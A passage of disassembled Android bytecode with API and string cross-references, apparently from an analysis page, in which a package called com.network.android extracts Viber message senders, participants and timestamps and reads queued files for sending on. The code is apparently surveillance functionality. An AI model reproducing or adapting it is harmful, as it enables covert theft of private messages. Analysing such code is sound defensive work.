      196invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(C)Ljava/lang/StringBuilder;
      197cond_112:
      198invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      200invoke-virtual {v10, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      201cond_118: add-int/lit8 v1, v7, 0x1
      202move v7, v1
      203goto/16 :goto_86
      204cond_11d:
      205const-string v1, "sender_type"
      207invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      208move-result v1
      210invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      211move-result-object v11
      213const-string v1, "sender_number"
      215invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      216move-result v1
      218invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      219move-result-object v6
      221const-string v1, "senderName"
      222move-object/from16 v0, p3
      224invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      225move-result-object v1
      226check-cast v1, Ljava/lang/String;
      228invoke-interface {p0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      229move-result v1
      231invoke-interface {p0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      232move-result-object v7
      234const-string v1, "0"
      236invoke-virtual {v11, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      237move-result v1
      238if-eqz v1, :cond_151
      239if-nez v7, :cond_151
      241const-string v6, ""
      243const-string v7, "OUTGOING"
      244cond_151: if-eqz v3, :cond_159
      246invoke-virtual {v3}, Ljava/lang/String;->length()I
      247move-result v1
      248if-nez v1, :cond_17a
      249cond_159: new-instance v1, Ljava/lang/StringBuilder;
      251invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      252move-object/from16 v0, p2
      254invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      255move-result-object v1
      257const-string v2, "GetContentIM addImSingleEntryViber EMPTY MESSAGE -> CONTINUE: "
      259invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      260move-result-object v1
      262invoke-interface {p0}, Landroid/database/Cursor;->getPosition()I
      263move-result v2
      265invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      266move-result-object v1
      268invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      269move-result-object v1
      271invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      272goto_179: return-void
      273cond_17a: new-instance v1, Ljava/lang/StringBuilder;
      275invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      276move-object/from16 v0, p2
      278invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      279move-result-object v1
      281const-string v11, "GetContentIM addImSingleEntryViber:"
      283invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      284move-result-object v1
      286invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      287move-result-object v1
      289const-string v11, ", sender id:"
      291invoke-virtual {v1, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      292move-result-object v1
      294invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      295move-result-object v1
      297invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      298move-result-object v1
      300invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      301new-instance v1, Ljava/lang/StringBuilder;
      303invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      304move-object/from16 v0, p2
      306invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      307move-result-object v1
      309const-string v8, "GetContentIM addImSingleEntryViber timestamp_ms:"
      311invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      312move-result-object v1
      314invoke-virtual {v1, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      315move-result-object v1
      317invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      318move-result-object v1
      320invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      321try_end_1bc: new-instance v1, Ljava/lang/StringBuilder;
      323invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      324move-object/from16 v0, p2
      326invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      327move-result-object v1
      329const-string v8, "GetContentIM addImSingleEntryViber by date:"
      331invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      332move-result-object v1
      333new-instance v8, Ljava/util/Date;
      335invoke-static {v5}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      336move-result-wide v11
      338invoke-direct {v8, v11, v12}, Ljava/util/Date;-><init>(J)V
      340invoke-virtual {v8}, Ljava/util/Date;->toString()Ljava/lang/String;
      341move-result-object v8
      343invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      344move-result-object v1
      346invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      347move-result-object v1
      349invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      350try_start_1e5: new-instance v1, Ljava/lang/StringBuilder;
      352invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      353move-object/from16 v0, p2
      355invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      356move-result-object v1
      358const-string v8, "GetContentIM addImSingleEntryViber participantsSb: "
      360invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      361move-result-object v1
      363invoke-virtual {v1, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      364move-result-object v1
      366invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      367move-result-object v1
      369invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      370new-instance v1, Ljava/lang/StringBuilder;
      372invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      373move-object/from16 v0, p2
      375invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      376move-result-object v1
      378const-string v8, "GetContentIM addImSingleEntryViber participantsNumbersSb: "
      380invoke-virtual {v1, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      381move-result-object v1
      383invoke-virtual {v1, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
      384move-result-object v1
      386invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      387move-result-object v1
      389invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      391invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      392move-result-object v8
      394invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      395move-result-object v9
      396move-object v1, p1
      397move-object/from16 v10, p2
      399invoke-static/range {v1 .. v10}, Lcom/network/android/p;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
      400try_end_22b: goto/16 :goto_179
      401catch_22d: move-exception v1
      402new-instance v2, Ljava/lang/StringBuilder;
      404invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      405move-object/from16 v0, p2
      407invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      408move-result-object v2
      410const-string v3, "GetContentIM addImSingleEntryViber iter exception- "
      412invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      413move-result-object v2
      415invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      416move-result-object v3
      418invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      419move-result-object v2
      421invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      422move-result-object v2
      424invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      425goto/16 :goto_179
      426catch_250: move-exception v1
      427goto/16 :goto_1e5
      Cross References
      APIs
      • com.network.android.b.a.getReadableDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • android.database.Cursor.getCount
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • android.database.Cursor.getString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.length
      • java.lang.String.length
      • java.lang.String.split
      • java.lang.String.split
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.io.File.length
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.android.b.a.c
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.io.File.<init>
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.length
      • java.io.FileInputStream.<init>
      • java.io.FileInputStream.read
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.FileInputStream.close
      • java.io.FileInputStream.close
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • DatabaseHandler Pick DataElement Start
      • DatabaseHandler Pick DataElement PICK_QUERY:SELECT * FROM NetworkData LIMIT 1
      • SELECT * FROM NetworkData LIMIT 1
      • DatabaseHandler pick cursor == null!!!
      • DatabaseHandler pick finaly - fail to close input stream:
      • DatabaseHandler cursor size:
      • DatabaseHandler pick cursor.moveToFirst()!!!
      • DatabaseHandler Pick DataElement fileAttchmentName
      • #
      • Pick DataElement read binarry data file:
      • Pick DataElement read binarry data file size:
      • DatabaseHandler Pick DataElement pick read data iteraction:
      • DatabaseHandler Pick DataElement pick read data:
      • DatabaseHandler Pick DataElement read xml data file:
      • DatabaseHandler Pick DataElement
      • DatabaseHandler Pick DataElement :
      Position Instruction Meta Information
      1const-string v1, "DatabaseHandler Pick DataElement Start "
      3invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      4const/4 v4, 0x0
      5const/4 v3, 0x0
      6const/4 v5, 0x0
      7const/4 v2, 0x0
      8try_start_9:
      9invoke-virtual/range {p0 .. p0}, Lcom/network/android/b/a;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
      10try_end_c: move-result-object v6
      11try_start_d:
      12const-string v1, "DatabaseHandler Pick DataElement PICK_QUERY:SELECT * FROM NetworkData LIMIT 1"
      14invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      16const-string v1, "SELECT * FROM NetworkData LIMIT 1"
      17const/4 v2, 0x0
      19invoke-virtual {v6, v1, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      20try_end_18: move-result-object v7
      21if-nez v7, :cond_4a
      22try_start_1b:
      23const-string v1, "DatabaseHandler pick cursor == null!!!"
      25invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      26try_end_20: if-eqz v7, :cond_25
      27try_start_22:
      28invoke-interface {v7}, Landroid/database/Cursor;->close()V
      29cond_25: if-eqz v6, :cond_30
      31invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      32move-result v1
      33if-eqz v1, :cond_30
      35invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      36try_end_30: const/4 v1, 0x0
      37goto_31: return-object v1
      38catch_32: move-exception v1
      39new-instance v2, Ljava/lang/StringBuilder;
      41const-string v3, "DatabaseHandler pick finaly - fail to close input stream: "
      43invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      45invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      46move-result-object v3
      48invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      49move-result-object v2
      51invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      52move-result-object v2
      54invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      55goto/16 :goto_30
      56cond_4a: new-instance v1, Ljava/lang/StringBuilder;
      58const-string v2, "DatabaseHandler cursor size: "
      60invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      62invoke-interface {v7}, Landroid/database/Cursor;->getCount()I
      63move-result v2
      65invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      66move-result-object v1
      68invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      69move-result-object v1
      71invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      73invoke-interface {v7}, Landroid/database/Cursor;->moveToFirst()Z
      74move-result v1
      75if-nez v1, :cond_95
      77const-string v1, "DatabaseHandler pick cursor.moveToFirst()!!!"
      79invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      80try_end_6b: if-eqz v7, :cond_70
      81try_start_6d:
      82invoke-interface {v7}, Landroid/database/Cursor;->close()V
      83cond_70: if-eqz v6, :cond_7b
      85invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      86move-result v1
      87if-eqz v1, :cond_7b
      89invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      90cond_7b: const/4 v1, 0x0
      91goto/16 :goto_31
      92catch_7d: move-exception v1
      93new-instance v2, Ljava/lang/StringBuilder;
      95const-string v3, "DatabaseHandler pick finaly - fail to close input stream: "
      97invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      99invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      100move-result-object v3
      102invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      103move-result-object v2
      105invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      106move-result-object v2
      108invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      109goto/16 :goto_7b
      110cond_95: new-instance v2, Lcom/network/android/i;
      112invoke-direct {v2}, Lcom/network/android/i;-><init>()V
      113const/4 v1, 0x0
      115invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      116move-result-object v1
      118invoke-virtual {v2, v1}, Lcom/network/android/i;->e(Ljava/lang/String;)V
      119try_end_a2: const/4 v1, 0x1
      120try_start_a3:
      121invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      122move-result-object v1
      124invoke-virtual {v2, v1}, Lcom/network/android/i;->d(Ljava/lang/String;)V
      125const/4 v1, 0x2
      127invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      128move-result-object v8
      129const/4 v1, 0x3
      131invoke-interface {v7, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      132move-result-object v1
      133const/4 v5, 0x4
      135invoke-interface {v7, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      136move-result-object v5
      137new-instance v9, Ljava/lang/StringBuilder;
      139const-string v10, "DatabaseHandler Pick DataElement fileAttchmentName "
      141invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      143invoke-virtual {v9, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      144move-result-object v9
      146invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      147move-result-object v9
      149invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      150new-instance v9, Ljava/lang/StringBuilder;
      152const-string v10, "DatabaseHandler Pick DataElement fileAttchmentName "
      154invoke-direct {v9, v10}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      156invoke-virtual {v9, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      157move-result-object v9
      159invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      160move-result-object v9
      162invoke-static {v9}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      164invoke-virtual {v2, v8}, Lcom/network/android/i;->g(Ljava/lang/String;)V
      165if-eqz v5, :cond_1d0
      167invoke-virtual {v5}, Ljava/lang/String;->length()I
      168move-result v9
      169if-lez v9, :cond_1d0
      170if-eqz v1, :cond_1d0
      172invoke-virtual {v1}, Ljava/lang/String;->length()I
      173move-result v9
      174if-lez v9, :cond_1d0
      176const-string v9, "#"
      178invoke-virtual {v5, v9}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      179move-result-object v9
      181const-string v5, "#"
      183invoke-virtual {v1, v5}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
      184move-result-object v10
      185array-length v1, v10
      186new-array v11, v1, [Ljava/io/File;
      187if-eqz v9, :cond_1d0
      188if-eqz v10, :cond_1d0
      189array-length v1, v9
      190array-length v5, v10
      191if-ne v1, v5, :cond_1d0
      192array-length v1, v9
      193new-array v12, v1, [[B
      194const/4 v1, 0x0
      195move v5, v1
      196goto_10c: array-length v1, v9
      197try_end_10d: if-ge v5, v1, :cond_1c7
      198try_start_10f: new-instance v1, Ljava/lang/StringBuilder;
      200invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      202sget-object v13, Lcom/network/b/b;->b:Ljava/lang/String;
      204invoke-virtual {v1, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      205move-result-object v1
      206aget-object v13, v9, v5
      208invoke-virtual {v1, v13}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      209move-result-object v1
      211invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      212move-result-object v1
      213new-instance v13, Ljava/io/File;
      215invoke-direct {v13, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      216new-instance v1, Ljava/lang/StringBuilder;
      218const-string v14, "Pick DataElement read binarry data file: "
      220invoke-direct {v1, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      222invoke-virtual {v13}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      223move-result-object v14
      225invoke-virtual {v1, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      226move-result-object v1
      228invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      229move-result-object v1
      231invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      232new-instance v1, Ljava/lang/StringBuilder;
      234const-string v14, "Pick DataElement read binarry data file size: "
      236invoke-direct {v1, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      238invoke-virtual {v13}, Ljava/io/File;->length()J
      239move-result-wide v14
      241invoke-virtual {v1, v14, v15}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      242move-result-object v1
      244invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      245move-result-object v1
      247invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      249invoke-virtual {v13}, Ljava/io/File;->length()J
      250move-result-wide v14
      251long-to-int v1, v14
      252new-array v14, v1, [B
      253new-instance v1, Ljava/io/FileInputStream;
      255invoke-direct {v1, v13}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      256try_end_161:
      257invoke-virtual {v1, v14}, Ljava/io/FileInputStream;->read([B)I
      259invoke-static {v14}, Lcom/network/android/h;->c([B)[B
      260move-result-object v3
      261aput-object v3, v12, v5
      262aput-object v13, v11, v5
      263goto_16c: add-int/lit8 v3, v5, 0x1
      264move v5, v3
      265move-object v3, v1
      266goto/16 :goto_10c
      267catch_171: move-exception v3
      268goto_172: new-instance v13, Ljava/lang/StringBuilder;
      270const-string v14, "DatabaseHandler Pick DataElement pick read data iteraction: "
      272invoke-direct {v13, v14}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      274invoke-virtual {v3}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      275move-result-object v14
      277invoke-virtual {v13, v14}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      278move-result-object v13
      280invoke-virtual {v13}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      281move-result-object v13
      283invoke-static {v13, v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      284try_end_188: goto/16 :goto_16c
      285catch_189: move-exception v3
      286move-object/from16 v16, v3
      287move-object v3, v1
      288move-object/from16 v1, v16
      289goto_18f: new-instance v5, Ljava/lang/StringBuilder;
      291const-string v8, "DatabaseHandler Pick DataElement pick read data: "
      293invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      295invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      296move-result-object v8
      298invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      299move-result-object v5
      301invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      302move-result-object v5
      304invoke-static {v5, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      305move-object/from16 v0, p0
      307invoke-direct {v0, v2}, Lcom/network/android/b/a;->c(Lcom/network/android/i;)V
      308try_end_1aa: if-eqz v4, :cond_1af
      309try_start_1ac:
      310invoke-virtual {v4}, Ljava/io/FileInputStream;->close()V
      311cond_1af: if-eqz v3, :cond_1b4
      313invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      314cond_1b4: if-eqz v7, :cond_1b9
      316invoke-interface {v7}, Landroid/database/Cursor;->close()V
      317cond_1b9: if-eqz v6, :cond_1c4
      319invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      320move-result v1
      321if-eqz v1, :cond_1c4
      323invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      324goto_1c4: const/4 v1, 0x0
      325goto/16 :goto_31
      326cond_1c7:
      327invoke-virtual {v2, v12}, Lcom/network/android/i;->a([[B)V
      329invoke-virtual {v2, v10}, Lcom/network/android/i;->a([Ljava/lang/String;)V
      331invoke-virtual {v2, v11}, Lcom/network/android/i;->a([Ljava/io/File;)V
      332cond_1d0: new-instance v1, Ljava/io/File;
      334invoke-direct {v1, v8}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      335new-instance v5, Ljava/lang/StringBuilder;
      337const-string v8, "DatabaseHandler Pick DataElement read xml data file: "
      339invoke-direct {v5, v8}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      341invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      342move-result-object v8
      344invoke-virtual {v5, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      345move-result-object v5
      347invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      348move-result-object v5
      350invoke-static {v5}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      352invoke-virtual {v1}, Ljava/io/File;->length()J
      353move-result-wide v8
      354long-to-int v5, v8
      355new-array v8, v5, [B
      356new-instance v5, Ljava/io/FileInputStream;
      358invoke-direct {v5, v1}, Ljava/io/FileInputStream;-><init>(Ljava/io/File;)V
      359try_end_1f7:
      360invoke-virtual {v5, v8}, Ljava/io/FileInputStream;->read([B)I
      362invoke-static {v8}, Lcom/network/android/h;->b([B)Ljava/lang/String;
      363move-result-object v1
      365invoke-virtual {v2, v1}, Lcom/network/android/i;->b(Ljava/lang/String;)V
      367const-string v1, "DatabaseHandler Pick DataElement "
      369invoke-virtual {v2, v1}, Lcom/network/android/i;->a(Ljava/lang/String;)V
      370try_start_206:
      371invoke-virtual {v5}, Ljava/io/FileInputStream;->close()V
      372if-eqz v3, :cond_20e
      374invoke-virtual {v3}, Ljava/io/FileInputStream;->close()V
      375cond_20e: if-eqz v7, :cond_213
      377invoke-interface {v7}, Landroid/database/Cursor;->close()V
      378cond_213: if-eqz v6, :cond_21e
      380invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      381move-result v1
      382if-eqz v1, :cond_21e
      384invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      385try_end_21e: move-object v1, v2
      386goto/16 :goto_31
      387catch_221: move-exception v1
      388new-instance v2, Ljava/lang/StringBuilder;
      390const-string v3, "DatabaseHandler pick finaly - fail to close input stream: "
      392invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      394invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      395move-result-object v3
      397invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      398move-result-object v2
      400invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      401move-result-object v2
      403invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      404goto/16 :goto_1c4
      405catch_239: move-exception v1
      406new-instance v3, Ljava/lang/StringBuilder;
      408const-string v4, "DatabaseHandler pick finaly - fail to close input stream: "
      410invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      412invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      413move-result-object v4
